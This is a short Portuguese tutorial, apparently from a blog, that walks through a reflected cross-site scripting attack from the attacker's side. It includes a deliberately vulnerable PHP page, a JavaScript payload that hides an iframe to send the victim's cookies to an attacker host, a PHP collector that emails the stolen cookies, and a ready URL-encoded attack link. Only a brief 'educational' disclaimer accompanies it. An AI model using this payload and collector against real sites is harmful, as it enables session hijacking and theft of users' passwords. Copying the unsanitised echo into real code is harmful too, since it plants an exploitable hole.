Este artigo tem como objectivo, demostrar aplicações de um ataque de XSS, uma técnica muito presente no nosso dia-a-dia.
O XSS ( CROSS SITE SCRIPTING ) é um tipo de ataque que é altamente popular nos dias de hoje e literalmente, pega a maioria dos usuários por estar escondido em páginas que eles acham que não podem lhes causar problemas.
O conceito é bem básico. Em geral, o administrador de um site qualquer, coloca um comentário ou post em um fórum que não contém nenhum tipo de validação ou filtro (muito incomum isto hoje em dia, mas o que mais tem por aí, é web developer acostumado com desenvolvimento sem segurança.
Vamos direito ao assunto. Um exemplo de código PHP vulnerável:
<?php
/*
* Um simples exemplo de cookies que geralmente
* são utilizados em sistemas web.
* PHPSESSID -> SID padrão da configuração do PHP
* login e senha -> cookies ficticios
*/
setcookie('PHPSSESID', 'meu_sid');
setcookie('login', 'meu_login');
setcookie('senha', 'minha_senha');
/**
* Parte vulnerável do código: Imprime os dados passados
* pelo usuário sem nenhum tratamento
*/
echo $_GET['var'];
?>
O nosso objectivo
Eis o JavaScript que iremos atravessar para nosso alvo através da variável $_GET['var'], do script PHP acima:
<script>
document.write('<iframe width=1 height=1
src=http://www.coletor.com/rc.php?xss='+document.cookie.replace(/ /g,'')+'></iframe>')
</script>
Breve explicação meio longa
Nosso objectivo é atravessar o JavaScript citado acima mas, em outras
palavras, explicando o JavaScript, nosso objectivo é simplesmente
capturar os dados de cookie do www.alvo.com e enviar para o
www.colector.com.
Utilizando cookies em JavaScript
A instrução document.cookie retorna os cookies da página HTML. Ou seja, um código <script>alert(document.cookie)</script> no script PHP acima irá produzir o seguinte alerta de saída:
PHPSSESID=meu_sid; login=meu_login; senha=minha_senha
Complementando a instrução com "replace", document.cookie.replace(/ /g,''), iremos remover os caracteres em branco do alerta de saída citado acima. Ou seja, agora teremos:
PHPSSESID=meu_sid;login=meu_login;senha=minha_senha
O colector de dados
Sob nosso domínio temos o site www.coletor.com, que por sua vez
receberá os dados do cookie enviados pelo nosso script através do
script rc.php que enviará os dados para meu@email.com:
<?php
if ($_GET['xss']) {
mail('meu@email.com','Dados capturados', $_GET['xss']);
}
?>
Testando
Acesse a URL:
http://www.alvo.com/codigo_vulneravel.php?var=<script>document.write('<iframe%
20width=1%20height=1%20src=http://www.colector.com/rc.php?xss='%2B
document.cookie.replace(/%20/g,'')%2B'></iframe>')</script>
Nota para tradução da URL:
- %20: Caractere em branco
- %2B: Sinal +
Possíveis utilizações
O impacto desse ataque é mais grave em sistemas interactivos, como
fóruns e webmails. Pois como mostrado, com os dados de cookie é
possível capturar senhas de e-mail, de utilizadores
e administradores do fórum vulnerável.
Gostaria de salientar que as informações aqui contidas são de
carácter educativo. Não me responsabilizo por sua utilização, ou
eventuais dados ao seu sistema ou de terceiros.
Considerações finais
O ambiente de testes desse artigo utiliza a configuração padrão do PHP.
Espero que tenham gostado
Até a Próxima
|
|

14:42:24











